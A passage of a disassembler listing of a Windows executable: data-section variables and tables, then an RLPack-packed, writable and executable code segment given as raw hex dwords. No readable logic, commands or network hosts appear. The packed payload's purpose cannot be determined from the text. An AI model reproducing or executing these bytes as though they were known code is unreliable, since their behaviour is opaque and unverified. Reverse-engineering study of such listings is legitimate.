dword_4DBFE8 dd 0 ; DATA XREF: sub_424DF9+40w
; sub_424DF9+5Co
dword_4DBFEC dd 0 ; DATA XREF: sub_424DF9+4Dw
dword_4DBFF0 dd 0 ; DATA XREF: sub_424DF9+31w
dword_4DBFF4 dd 0 ; DATA XREF: sub_424DF9+52w
dword_4DBFF8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr
; sub_424F1C+38r ...
dword_4DBFFC dd 0 ; DATA XREF: sub_425029+3r
; sub_425029+2Ew ...
dword_4DC000 dd 0 ; DATA XREF: sub_425029+43w
; sub_425029:loc_425078r
dword_4DC004 dd 0 ; DATA XREF: sub_425029+4Aw
; sub_425029+60r
dword_4DC008 dd 0 ; DATA XREF: sub_42423B+3Fr
dword_4DC00C dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr
; sub_425C06+6Do
dword_4DC010 dd 0 ; DATA XREF: sub_425C06:loc_425C44r
; sub_425C06+44o
dword_4DC014 dd 0 ; DATA XREF: sub_425C06:loc_425C37r
; sub_425C06+37o
dword_4DC018 dd 0 ; DATA XREF: sub_425C06:loc_425C51r
; sub_425C06+51o
align 10h
dword_4DC020 dd 0 ; DATA XREF: sub_426636+28r
; sub_426636+4Cw ...
dword_4DC024 dd 0 ; DATA XREF: sub_4268C1+26r
; sub_4268C1:loc_42692Bw
byte_4DC028 db 1 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
align 4
dword_4DC02C dd 351110h ; DATA XREF: sub_41E490:loc_41E4A1r
; sub_41FD3D+14r ...
dd 4 dup(0)
dword_4DC040 dd 400h dup(0) ; DATA XREF: .packed:off_43D578o
; .packed:0043D580o
dword_4DD040 dd 200h ; DATA XREF: sub_41E490+9r
; sub_41E490+56r ...
dd 7 dup(0)
dword_4DD060 dd 350650h ; DATA XREF: sub_41F8E3+75r
; sub_41F9BC+2Ar ...
dword_4DD064 dd 3Fh dup(0) ; DATA XREF: sub_423B0B+92o
dword_4DD160 dd 20h ; DATA XREF: sub_41E312+8r
; sub_41F9BC+Cr ...
dword_4DD164 dd 4E4h ; DATA XREF: sub_420749+14r
; sub_420749+65w ...
align 10h
dword_4DD170 dd 3 dup(0) ; DATA XREF: sub_420749+123o
; sub_420749+171o ...
dword_4DD17C dd 0 ; DATA XREF: sub_420749+108w
; sub_420749+15Dw ...
byte_4DD180 db 0 ; DATA XREF: sub_420988:loc_420A94w
; sub_420988:loc_420AB1w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DD280 db 0 ; DATA XREF: sub_420749+5Co
; sub_420749+AFo ...
byte_4DD281 db 0 ; DATA XREF: sub_41C3B1+5Dr
; sub_420749+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DD384 dd 0 ; DATA XREF: sub_420749+6Ew
; sub_420749+12Bw ...
dword_4DD388 dd 0 ; DATA XREF: sub_41E6CF+3Cw
; sub_41ED74+5r ...
dword_4DD38C dd 0 ; DATA XREF: sub_41E742+23Ar
; sub_41E742+25Ar ...
dword_4DD390 dd 0 ; DATA XREF: sub_41E6CF+31w
; sub_41E742+311w ...
dword_4DD394 dd 0 ; DATA XREF: sub_41E6CF+21w
; sub_41E742+22Dr ...
dword_4DD398 dd 0 ; DATA XREF: sub_41E6CF+28w
; sub_41E717r ...
dword_4DD39C dd 0 ; DATA XREF: sub_41E6CF+15w
; sub_41E717+8r ...
dword_4DD3A0 dd 0 ; DATA XREF: sub_41BBE2+5Cr
; sub_41BEF3+Fr ...
dword_4DD3A4 dd 350000h ; DATA XREF: sub_41BA91+5Ar
; sub_41BBE2+C0r ...
dword_4DD3A8 dd 1 ; DATA XREF: sub_41BA91+Cr
; sub_41BBE2:loc_41BC12r ...
dword_4DD3AC dd 142340h ; DATA XREF: sub_41E1D3+7Aw
; sub_42367B+Fr ...
dword_4DD3B0 dd 1 ; DATA XREF: sub_4236D3+ADw
dword_4DD3B4 dd 1 ; DATA XREF: sub_420B0Dr
; sub_420B0D+11w ...
dword_4DD3B8 dd 35075Ch ; DATA XREF: sub_41C1B3+3Er
; sub_41D9B3+13r ...
dword_4DD3BC dd 350758h ; DATA XREF: sub_41C1B3+35r
; sub_41C1B3+57r ...
dd 310h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 7FAh dup(0)
_packed ends
; Section 2. (virtual address 000E0000)
; Virtual size : 0001ACFF ( 109823.)
; Section size in file : 0001ACFF ( 109823.)
; Offset to raw data for section: 000E0000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_RLPack segment para public 'CODE' use32
assume cs:_RLPack
;org 4E0000h
assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
dd 0EC8B0055h, 57565351h, 903850BFh, 0F6330342h, 7912CBBh
dd 0FC458D0Eh, 6847FE56h, 0F0F073Fh, 77FF0218h, 37750473h
dd 0B998150Eh, 7539004Ch, 0FB1C7408h, 11E80A80h, 59C0A901h
dd 6A155067h, 37535693h, 0A43EFC0Eh, 0AEB05BAh, 44480C23h
dd 88C00957h, 83EC783h, 0BB68B081h, 5FA872h, 0C3C95B5Eh
dd 824448Bh, 4E854E8h, 0CE835600h, 74C085FFh, 57530725h
dd 0AEB9388Dh, 28A0218h, 23DE8B0Eh, 33D943C1h, 5EEABC3h
dd 20850444h, 0F0914E72h, 0E6754F80h, 0C6FE5B5Fh, 0D0F75E0Ah
dd 3307A7C3h, 0FB5C57DBh, 0C7B50AAEh, 0E542404h, 14E274FFh
dd 1287F08Bh, 59F871A2h, 7498FF85h, 4703F62Ah, 2875100Ch
dd 2D586343h, 3A64E2ABh, 1405F62Ch, 8DA90157h, 98FF1E44h
dd 0AA2F500Ch, 0C48301FAh, 33D6EB10h, 4B1BD0C0h, 0F83B28A3h
dd 0D88B1470h, 57911419h, 3F3B3106h, 0AE57C38Bh, 811D2749h
dd 54025C23h, 0CFF2242h, 43E92C35h, 7C5515E4h, 0A5698CEAh
dd 413C1683h, 8B0608B9h, 70801D14h, 646A1F8Fh, 0CA33D38Ch
dd 28419010h, 3E6957F0h, 443070AFh, 565EAC18h, 0B0C30EA6h
dd 0F9758918h, 3EF04BEh, 0A4858DA2h, 808CFFFDh, 0B845C767h
dd 0AEDB9836h, 2BD86E0Eh, 7D896601h, 97C5B6DCh, 0FEA82140h
dd 78F5EE37h, 0DEA40F1Bh, 3749FF95h, 286A2C8Ah, 24D23ACBh
dd 7445847Ch, 92144E52h, 0F07B8082h, 0DE70358Bh, 16D6D923h
dd 830ABEF4h, 80C71045h, 90BD35B0h, 245903D3h, 1950A364h
dd 864C498h, 0E9516C71h, 1BD0E928h, 98680A02h, 39382E75h
dd 1DF5405h, 59D17B02h, 0EB720A3h, 880461D2h, 7E101509h
dd 5D890CC9h, 0A0F406F8h, 241DFCAFh, 4CE54011h, 4EA335E0h
dd 462589B9h, 0B043F007h, 0B9D23303h, 1E0603E8h, 24A3F1F7h
dd 0FF20D089h, 59B8B282h, 9893748h, 0EE026A32h, 68444890h
dd 0DF756430h, 53C693A4h, 0AC66248Eh, 440E5071h, 2493DA8h
dd 915B480Bh, 10E6909Fh, 5009F77Ch, 872C0268h, 6D925424h
dd 0FC33B05h, 0A7452985h, 1A0CBD80h, 8A161A02h, 868ACE87h
dd 3C641F7Dh, 66550621h, 25FC10C4h, 42145428h, 0A4DF64FDh
dd 16A37862h, 0C162FB10h, 25F90C0Eh, 7A252753h, 0B1B342B2h
dd 68ED2543h, 0D028681Fh, 0FAF8329Ah, 292391D1h, 523E6360h
dd 32E84337h, 421C6CE0h, 0B886058Ch, 1D398142h, 0BEE1A28Ch
dd 7456C810h, 58BF9831h, 83CE3AFFh, 938504C9h, 0C22B0123h
dd 0EC991A6Ah, 563CF9F7h, 88618A80h, 47152597h, 0F83BC121h
dd 0BF4ADD72h, 0FE181062h, 44C86803h, 816662F9h, 12144910h
dd 8322A0C4h, 120AC1F8h, 0D080264Ch, 9C88DBECh, 98688FA8h
dd 5345180Dh, 2833A373h, 639FD669h, 94151075h, 0FB3B3B1Eh
dd 207C2998h, 0A056E74h, 11F927Eh, 98685F74h, 2B68223Ah
dd 0E5EE3980h, 7434C7EBh, 0E0778342h, 6A0D9059h, 916CA607h
dd 53E008F6h, 0DC1C8558h, 10F9A638h, 81B5E253h, 2885C712h
dd 49F20DA4h, 4C9DEB03h, 5EE41766h, 25484534h, 778DAC15h
dd 0A410FCB2h, 1A278C80h, 0FF511578h, 0F6780FD8h, 91BC6880h
dd 0E914E606h, 0DE6C49F9h, 5358894Eh, 2BEC681Bh, 254BFA4Dh
dd 28C9204Dh, 0DE14440Eh, 0E0BD82A4h, 0E41A27C7h, 4DC96C0Ah
dd 83807553h, 4DBE083Dh, 7E0C14B0h, 110CA143h, 47031FFh
dd 0C659B1E3h, 216A4FE1h, 6EA6268Fh, 2044D10Fh, 8580939h
dd 1B851974h, 335B6407h, 1C220835h, 44049088h, 93F97490h
dd 0F744B410h, 3FD80D75h, 3878B950h, 602A4649h, 0A06829BDh
dd 275365D5h, 0A207A12h, 480DBAA3h, 384D091Ah, 0D0BDA04h
dd 3D555653h, 99245572h, 8F0A7C3Eh, 953F746Ah, 0C8B34122h
dd 42B9843Dh, 1C18F892h, 589F4D7Ch, 0D7817041h, 6534F669h
dd 894A3050h, 0D6BA8678h, 0E1B7526h, 513250C5h, 9564473Ch
dd 0C6A4840Ch, 0A675B1BDh, 734C5948h, 2D6C7529h, 0F27E1095h
dd 788A1E02h, 0BFDD682h, 0DCC27895h, 59961F99h, 837F2E60h
dd 680312E0h, 574E5DC4h, 0A358432Ch, 8CACB898h, 0A130D00Bh
dd 3F6A296Ch, 2DAC6DBFh, 5719858Ah, 1C667CA3h, 0ECBE212Eh
dd 562AE411h, 8939A812h, 41806B1Dh, 68FCCA01h, 1C39B228h
dd 52EAE94h, 783ED07h, 0F045F002h, 0BE84240Fh, 1739959Dh
dd 0FF037406h, 0BF24E4Dh, 36B3899h, 987D83FCh, 0C6C57C06h
dd 5202F00Ch, 5D059542h, 104074F4h, 69E49A9Dh, 91900B95h
dd 0B87AF68Bh, 0FC06067Fh, 2FEC1D38h, 1367A2C9h, 8F987D42h
dd 109C7011h, 4308A891h, 45C7C291h, 8A475AF4h, 0C0A45150h
dd 0C0335E5Fh, 0C2C95B16h, 0CC235817h, 4477890h, 57560845h
dd 8DD1C86Ah, 2370BD2Ch, 0C7A5F381h, 31A06080h, 4EC0943Eh
dd 50BA2CBCh, 0ACD0660Ch, 7A2F4DE9h, 0A6E49AC8h, 0F2A43FB9h
dd 0FE74089Bh, 0F098046Eh, 50240BD6h, 0A1F2B8F4h, 0D4021C3Bh
dd 1B10D814h, 0A04E35FFh, 9C9DA85Dh, 16EDAA4h, 0F88B849Eh
dd 69CCFA84h, 6A07C8C0h, 38051B13h, 50570645h, 6A28C070h
dd 5AE6E506h, 4644520h, 1028289Bh, 2CB0891Ah, 9A065A53h
dd 568C4F78h, 75F20757h, 8EC5C91Ch, 7F699916h, 1208FF11h
dd 4D68A35Ch, 0BF639ED8h, 6029AC4Dh, 0FB714C8h, 5F3464D8h
dd 0C470B5C9h, 0F41CCA45h, 0F22271Ch, 8BA85509h, 9D5E21A7h
dd 6ADCE885h, 54C37E9h, 81077501h, 0C00DBB7Eh, 18C298EBh
dd 0A9097402h, 0C45C167h, 6DCCB498h, 5950D6A6h, 6B9058BBh
dd 80468A1h, 1A9027B8h, 3DB54911h, 0DB33043Ch, 3AE1036Ah
dd 0FD40C888h, 18885902h, 12A55205h, 9F67549h, 629090F4h
dd 7A26815h, 449B4961h, 705EF2ABh, 78238824h, 0DF8916B5h
dd 4F363531h, 26963951h, 35287610h, 34F46825h, 6934B107h
dd 3A9B99E4h, 0C30899B4h, 1F2DA934h, 601CB41Bh, 138868D1h
dd 0BE482A91h, 0BE949127h, 2C3910C1h, 5CE57011h, 920CA2B2h
dd 48BE0811h, 0AB9FC42h, 0CD7E0CEBh, 0B9D0F52Dh, 0B2C901Dh
dd 959CC74h, 680312CFh, 98B57E4Eh, 0E31F824Fh, 246A2CD6h
dd 0BC24A5FBh, 47499C0h, 209332FBh, 1006BDACh, 57420C81h
dd 0ADAA237h, 482C02CDh, 0F33BEF40h, 0C60D7E24h, 6BDEB78h
dd 74FDFE83h, 0D5ED0A25h, 854A051Ch, 0A149FA4Fh, 8B04C77Dh
dd 0E03B0C98h, 0E96F997Ch, 0EBD8B87Bh, 0C4799202h, 88FF0919h
dd 56428C78h, 220D8D0h, 0FCCE7DABh, 0DB033C45h, 4E54C3C7h
dd 4E9A1389h, 9D66F0FBh, 0D19C1B5Ch, 6918FC46h, 0B7314338h
dd 0C85C8C1Bh, 4C7535FCh, 9BA79818h, 608E105h, 6E044780h
dd 0BD7495C4h, 56946A9Dh, 568A0E4Eh, 212BA1CAh, 0CC680410h
dd 0E09C9CCDh, 24861792h, 0B10802A8h, 50313293h, 45A1C8BEh
dd 47102711h, 0CAC4D4BAh, 53868934h, 7441A1EDh, 58882838h
dd 51A91F95h, 89201091h, 0F9AB5907h, 0E8173C41h, 8B28EA75h
dd 32A22CB5h, 45B19605h, 199D39CEh, 13A51834h, 0F8F28468h
dd 0AA027h, 0EC4D78CBh, 5A1F6A13h, 9C8BDE83h, 2674AC80h
dd 2D380E80h, 58842975h, 0FA38002h, 10270BEh, 84C61989h
dd 54308F35h, 9F1C9256h, 6F0589Eh, 834A02h, 0D33B04E9h
dd 9D38CC7Dh, 5809135Ah, 6CC18F74h, 840E16F8h, 9F350648h
dd 3E80FC83h, 0E335DA0Ah, 57DA7AABh, 254C8F1h, 54C1B046h
dd 423CEC17h, 850C90FFh, 0F250C468h, 5620A1EBh, 0C6FEBCFDh
dd 9650FC97h, 8440454Bh, 0C6C22386h, 684F7A0Dh, 1E2535B0h
dd 0E9500633h, 39BEA828h
dd 850F1218h, 640B52BFh, 2D83C43Ah, 50143521h, 8B6A0DF9h
dd 0AE2340ABh, 8114A9Ch, 2A327AF6h, 0E1433C98h, 75429423h
dd 382C227h, 9C7CB556h, 0B94406CDh, 0B74D488h, 9F68404Dh
dd 29A24E44h, 39EBCB18h, 0D88C70C8h, 0E1BB5332h, 94332949h
dd 6817C5AAh, 0E0A96D80h, 0ABA8C78Bh, 61EF780Fh, 9CDE5403h
dd 9B9BF87h, 7B2C412Bh, 0A465721h, 0FE5C4544h, 4CF70322h
dd 0D97529F5h, 6D7844E4h, 4BA0D5D1h, 2C452854h, 1E382851h
dd 11836AE1h, 85A65497h, 6613858Bh, 2F086774h, 5F2BBC7Ch
dd 0C8AC29EFh, 2147657Dh, 0FE1E8812h, 681337CCh, 969ACD58h
dd 0E24A1441h, 0E4486814h, 0B21B34F4h, 459559B1h, 432CE1BAh
dd 51426AA0h, 0F1F556Ah, 0D2F824B8h, 0D5AAE3CAh, 0D7188924h
dd 3229A2DAh, 40EA8460h, 17F52E78h, 899378A6h, 0F14240F0h
dd 62611208h, 0E240222Ch, 6A13903Ah, 2E8DA421h, 0C1A190B9h
dd 0B0237424h, 27E5AC0h, 400665C6h, 0B8A83147h, 57DB2490h
dd 25A009A1h, 608D45B4h, 75084D70h, 54E0AC56h, 0FCB0542Eh
dd 4F552C75h, 0C3284ABBh, 460F6A12h, 6251D5A1h, 0A226B310h
dd 207D008Bh, 1F38F633h, 93AE1374h, 74C05742h, 0C7814614h
dd 0CBC060A2h, 0DD587C03h, 1258258Ah, 4A71D79h, 0A3E17408h
dd 8BBB62C8h, 30AA7F8h, 0CEFD0F7Bh, 0C877857Eh, 0E6C169D0h
dd 333C907h, 38680102h, 69561E49h, 0BA10C578h, 4A5534B5h
dd 78694372h, 98EB240Eh, 0A3301143h, 4D22CE74h, 28E4F828h
dd 0FF5812B2h, 0F2B1D0FCh, 0DE591E4Dh, 246884A0h, 8824919Eh
dd 0ED8066C3h, 9125285h, 1FC7D14Eh, 680D1AA9h, 1A516304h
dd 2C95CB87h, 8809BA20h, 473A061Ch, 0E4215B4Eh, 3D3449CCh
dd 0BC856E86h, 0A42F82AEh, 49B1C651h, 948B270Ch, 0D940442Ch
dd 0EC38A80h, 0BE43348Dh, 9A349DCh, 19D4BFC6h, 5086CA84h
dd 2694DC87h, 0CCD0C562h, 5A34D06Ch, 88F54B75h, 28688744h
dd 56452619h, 702A3CCFh, 324E8FD9h, 99665A2Ch, 45CC7C45h
dd 46A1380h, 0E0A43589h, 8A54D8h, 848B02F6h, 45DA9435h
dd 0B40750BCh, 0AEDC835h, 587910E8h, 0AFC503B2h, 943235B4h
dd 5E223CC0h, 4CAA9402h, 54F92BD0h, 0BF5E0627h, 84954FBCh
dd 570BE41Bh, 686C9C1Eh, 8A7C4521h, 0E863171Ah, 0BDF980F2h
dd 0E6E09620h, 0C888682h, 0E4602C12h, 27C252F7h, 0E5808AA2h
dd 3CB3AC53h, 1C8E32FCh, 2AA40842h, 300C0FF8h, 6D422191h
dd 8C88B952h, 12485359h, 761A5E6Ah, 44581F5h, 52B3242Eh
dd 6898026Bh, 0FFF16563h, 8AD11517h, 1F418D8Bh, 97DC969h
dd 0DC488188h, 0E8013E0Ah, 21E61042h, 1604685h, 73D326Ah
dd 7015EA89h, 78077509h, 2F5CD07Fh, 1FFF7811h, 91AAAE84h
dd 54928845h, 62C08A78h, 0C1057453h, 0CD5FCBCh, 9559EA59h
dd 6664FB66h, 0B2E45F7Bh, 4A1E0C69h, 9C33EA18h, 79B369F4h
dd 5801F6B4h, 0C9F14DB5h, 0F07085B8h, 0DEF720D0h, 24F6771Bh
dd 0C1D804C6h, 578B06EBh, 0E3BC6408h, 61FB208Bh, 68576B26h
dd 86C0277Ch, 5049FDFCh, 5807C8Dh, 1C742339h, 3AB4F5A1h
dd 9168DE04h, 0CF0380Ch, 1351503Dh, 0C376CC60h, 9D584778h
dd 0FF841421h, 0E5F4E1D2h, 644B4EB1h, 7F59A21Eh, 645F0A40h
dd 2174C44Bh, 67CF7211h, 0D232496Bh, 30CB590Dh, 0B9946633h
dd 723C314Bh, 847932DEh, 346CCBB8h, 0C47B0EF5h, 0A81B6A19h
dd 2C1C91FBh, 67A4DFE0h, 6954A4ECh, 8F127BD5h, 0EC627145h
dd 0D54C38D6h, 0D66C888Dh, 0D6F42354h, 3C13EBB9h, 0CB982623h
dd 1B42546Ah, 0F0081888h, 0D54C50D6h, 8D60E086h, 54D6F008h
dd 0D5167428h, 81D6FC22h, 66365DC5h, 60C43ED5h, 866179CBh
dd 0FC11111Eh, 59B0D3CAh, 1481C8Dh, 53A058Ah, 8933D194h
dd 24A68A0Fh, 3F92C7FAh, 47F8C80Ch, 107D2789h, 7041759Eh
dd 42F43091h, 0ABCCC815h, 1A750B63h, 0A214929Fh, 305D1922h
dd 33129912h, 0D41DBF60h, 89D945Dh, 26019E8Eh, 0F5281205h
dd 7AF3720Bh, 15C3DBB9h, 0B8302481h, 3B47859Fh, 7C2C053Dh
dd 17AB4CDFh, 0CD5FCCF4h, 0DCE65C64h, 0EC78FA64h, 0D8A14D0h
dd 34698FBAh, 48880A31h, 124C0F02h, 8F8D1A03h, 0FD71B7B8h
dd 4C08302h, 5447B51h, 0D6B03544h, 0F4EF165h, 4A147823h
dd 0ECB8D8F1h, 8B97CA42h, 0BD84E7Bh, 42748014h, 395A8B64h
dd 8D3BEDC0h, 9BB2A487h, 45943965h, 6430ADF4h, 0FC70FF33h
dd 162D5CDFh, 0A7507175h, 0E96CB644h, 42A8EB75h, 94973475h
dd 0B4459261h, 0C017262h, 0A16E9D88h, 18513D0Dh, 0EC284DFCh
dd 414246Dh, 34B82047h, 2439498Fh, 10C548C8h, 0C4F88B8Ah
dd 821FE871h, 0F0078B19h, 9D13523Bh, 0EF600AF4h, 0B27F005Fh
dd 0FD3885C7h, 2969B7B4h, 9819141Ch, 25395FE5h, 0F1730D5Eh
dd 18728035h, 68087D8Bh, 57DDCAE4h, 5157A442h, 66125DDCh
dd 0D46815C7h, 0D353C911h, 849E4359h, 68C85A21h, 0A6401981h
dd 1CDD611Ch, 0B851BF11h, 67BD1B0Bh, 2308F5F4h, 48BBA814h
dd 50AD618h, 4ACC046Ah, 6997A45h, 0A76D1DB4h, 0BD801C0Ah
dd 7C300514h, 39092009h, 6A29167Eh, 0B0912803h, 0AA5E72DAh
dd 8432B1D1h, 11157E14h, 8C88F4E7h, 144EEB9Fh, 9F60C38Ch
dd 8180F1A7h, 44958820h, 0F292516h, 9D926DBBh, 289D007Dh
dd 9C950C6Ah, 70AF2FD0h, 6C005A2h, 1851FB56h, 8F94F526h
dd 26F80FA9h, 0E242F930h, 0BE8E44BFh, 0A9576483h, 5457E2A7h
dd 0C12D293h, 0A7C7598Bh, 0A292B4AFh, 8A8FFA35h, 4393FB21h
dd 75B8184Dh, 8C4E8BE9h, 1884E332h, 7290CB3Bh, 5180194Ah
dd 1303C183h, 8D8B0889h, 0A88330F7h, 725815B9h, 0A447846Ch
dd 91155D8Ah, 2009E1A0h, 1FF4C40Bh, 433C9822h, 0C494233Dh
dd 3C8C3228h, 88230443h, 111EEFC2h, 0D0211E80h, 0BBE27C91h
dd 211E7019h, 0E26C918Dh, 1E641978h, 881D6510h, 32BCF360h
dd 3B433C54h, 26C44C23h, 213C4032h, 3C111C0Bh, 81BF6E1h
dd 44248D2Ch, 6AF43025h, 24683706h, 0A3105433h, 6E984CD3h
dd 0A13E7552h, 4081A96h, 811015ADh, 2FC9F8C5h, 8192353h
dd 0A78AC9E8h, 0DC102961h, 428C09F8h, 297C42CCh, 3D129C0h
dd 1087B018h, 1125F8A8h, 21C99C68h, 3E80C490h, 81B89079h
dd 210E6029h, 680DF054h, 3C214842h, 83E34C4h, 4428680Eh
dd 8710381Ch, 846810C3h, 0BC8F021h, 0B0C3E43Dh, 44D46811h
dd 1087C4C8h, 2112F8B8h, 0A010AC68h, 743494E2h, 50415E0Fh
dd 0C59D2D9Fh, 69560C7Dh, 65047AD5h, 70A3FC75h, 0DFA25727h
dd 0CAB45648h, 6DAE1E8Fh, 0C2174232h, 7C700434h, 16AC3F50h
dd 1E815B90h, 3F910E64h, 3FD0D843h, 43CD0FADh, 420FA23Fh
dd 442105ABh, 13243F3Ah, 531E20A0h, 3DF53F24h, 36211F7Fh
dd 41342153h, 4A150AC7h, 5E344892h, 487592B7h, 8776C7A8h
dd 947FAB91h, 0FE929D8h, 2129439Ch, 619EF2D0h, 0C4432986h
dd 226C3DE5h, 0E8299023h, 842B305h, 9859C7A8h, 88D2CDEEh
dd 90451697h, 86821568h, 55211EEFh, 40E27C91h, 7D4E7019h
dd 14681F87h, 715848C7h, 89294E4Ch, 29450822h, 28E23410h
dd 680B041Fh, 1C142220h, 10905EE7h, 2B9C159Ah, 0C4B04E15h
dd 5A6CC6F0h, 73E84286h, 42289A58h, 95452115h, 1AA22AD4h
dd 155ACC19h, 47BD0521h, 2214DA84h, 0C5433CB8h, 91C4AC23h
dd 433CA832h, 0C49C237Ch, 3C983245h, 90233043h, 1113D3C2h
dd 0BE211E8Ch, 9588C7BBh
dd 0FE798064h, 211E7C19h, 0E2789134h, 1A70191Fh, 17417518h
dd 14C68478h, 0FC2F54B8h, 0C930EE05h, 7551500Fh, 9AC4CCEBh
dd 6650596Ah, 0C9B0F292h, 2A8E511Ch, 1E678DF5h, 2415E1D9h
dd 19C4A215h, 8C211E1Ch, 77E21891h, 101E1419h, 639D106Fh
dd 4325AC4h, 7029433Ch, 0C414108Fh, 0FB6DC5F8h, 3CF4229Ch
dd 0EC23B043h, 0E83270C4h, 9997CE10h, 4A5B4574h, 0D12ADC15h
dd 84154B0Ch, 0D4220EF7h, 0DC2213Ch, 0ADE2D011h, 211EC819h
dd 0E1C49110h, 0B8080CFBh, 0C8C9108Fh, 32FCF3B4h, 86433CA8h
dd 71C4A423h, 0F63C9C32h, 9447840Bh, 8C64D388h, 89ED3369h
dd 338D8D0Ah, 0C5D66821h, 3E6C94EDh, 9D7249F7h, 0F85D3904h
dd 0C0A21A75h, 0A4C55810h, 0C14F5A8Eh, 0FD332065h, 0EB0A8D89h
dd 1D2E1503h, 0A640DE77h, 0C550089Ch, 66E65792h, 8EC2483Eh
dd 0A36A936Ah, 0F8788134h, 24C48311h, 3FFA047h, 0AAB44C7Ch
dd 0C15F8946h, 4CBC8B9Fh, 0FB0A3BADh, 0D0287D89h, 35EB1D0Ah
dd 0A6111017h, 163CE1A9h, 29B48604h, 0CB155752h, 8442A855h
dd 20C4F4E2h, 0F1901D89h, 8AA64C70h, 0D7AB5971h, 619E4410h
dd 14BC374Dh, 81448688h, 2136EAECh, 0E8140A3Eh, 95691315h
dd 43296528h, 842A460Ah, 0D42209FDh, 0CF715B4h, 9B108FC8h
dd 86C4A3DEh, 433CB432h, 0C4B02337h, 3CA03222h, 1107D221h
dd 19BDE298h, 1C101E8Ch, 0C4E39D06h, 3C783207h, 1104B821h
dd 19A3E270h, 75121A64h, 4C7A7255h, 0A6749A12h, 49305972h
dd 3FE9701Ch, 0C12FAA3Dh, 8C46488h, 56845535h, 0D0EC4C3Fh
dd 7BAD48CCh, 15A1211Eh, 0CA21544h, 691A3819h, 8B0D5BF0h
dd 3BD3C404h, 2182CC49h, 74E2C3F8h, 0C36EE915h, 7655741Ah
dd 89AF19B3h, 7CF01490h, 0B343EC0Ch, 87C6604Eh, 85891B91h
dd 18322F10h, 199812FCh, 239C02F8h, 9248CC68h, 205A786h
dd 70E93464h, 947826C8h, 101E85F0h, 72C188A1h, 87F094D0h
dd 10F0A042h, 42874B70h, 0A038C390h, 5C1960E2h, 3A085D89h
dd 0ABAC328h, 0E7D721A0h, 0D0CAA2A9h, 83010845h, 19380BC1h
dd 32B7F675h, 89813828h, 0B6A2055h, 8B878C2Eh, 72B8C825h
dd 0F7992ECEh, 0D0BD3D17h, 466320ADh, 0E43BD199h, 5157337Eh
dd 0BB5434CCh, 20A878A2h, 0F0722A88h, 0F8D0318Dh, 0C11D392Dh
dd 0C7FA8618h, 491BCC85h, 14643E64h, 0A00548B8h, 15BC68FCh
dd 41748BA1h, 3BE45A5h, 0F6788D27h, 57D84698h, 0E2945048h
dd 0C6AF900Ch, 1E390340h, 1AEBE675h, 0C8964E40h, 0F586ED0h
dd 0DE06E1C1h, 8DFE33A8h, 131FB46Ah, 8488763Bh, 2F024505h
dd 0A42CCB82h, 48AE5E9Bh, 898FFC83h, 0D8AAF4B5h, 95881598h
dd 718A7561h, 74007EE1h, 1BD8F656h, 256638C0h, 0B4054E7Ch
dd 852D21A6h, 88A144F8h, 27701506h, 65224CBAh, 0AF30F7A0h
dd 0C0330AD0h, 3359D38h, 950F306Ah, 8B8940DBh, 511D4AF0h
dd 3BC22425h, 5D88F302h, 74227E2Fh, 0C61E0ED0h, 4D1D780Ah
dd 0FE1F0858h, 12F452Ch, 4DBE0F07h, 7CCE3B60h, 0AC369ADEh
dd 3821F32Eh, 2D347DF1h, 5C32E9B0h, 94F74276h, 42E0221Fh
dd 0D8B51001h, 0DDCBD86h, 0D4A63E91h, 58436827h, 0C494B791h
dd 55741440h, 8489111Bh, 9EB6F830h, 6E3209Dh, 91309D88h
dd 1352A01Bh, 0C8C34CB8h, 0FD04040h, 76CC2882h, 228BA0E2h
dd 0CC8BC18h, 4BB464B8h, 88285351h, 4254C2D4h, 82C880Bh
dd 0A050F8C0h, 0A6A28CF7h, 0C088B847h, 124056F8h, 752DC4E4h
dd 23B4CB25h, 99EEA7EEh, 17CEC25Fh, 1A48A04Eh, 565D78A6h
dd 4C59F833h, 0B253E83h, 64D48792h, 0DCCC2D34h, 0C2602C68h
dd 225E6007h, 0B8B5056Ah, 2B0A7E67h, 9164068h, 6066848Bh
dd 5018B2A0h, 0DAE3BF4Eh, 0C5D2AC17h, 143F38A3h, 539317A7h
dd 8BCBDCB8h, 0F0A8FB59h, 91754BA2h, 0BC245684h, 2537AED3h
dd 55F278A1h, 49AE7F56h, 66D42DDFh, 0B89D3CAEh, 0D9A80FD0h
dd 0F2C05E93h, 18D1ABD6h, 1CD54001h, 0AC08F344h, 92DAD242h
dd 0C684302h, 5658945h, 0B4E11BE8h, 0A8100AD4h, 2197C4D2h
dd 413EAC69h, 0D5482174h, 412C9B24h, 0C1D02174h, 0C5867E89h
dd 0EFD02784h, 0DA8BBB9Dh, 0E00B9309h, 24A105EBh, 5A11907Ch
dd 0C9348702h, 4279109h, 0E6940F11h, 26222243h, 11742648h
dd 0ADC8929Ch, 82D19237h, 22882BEBh, 6812B60Ch, 64EF5E24h
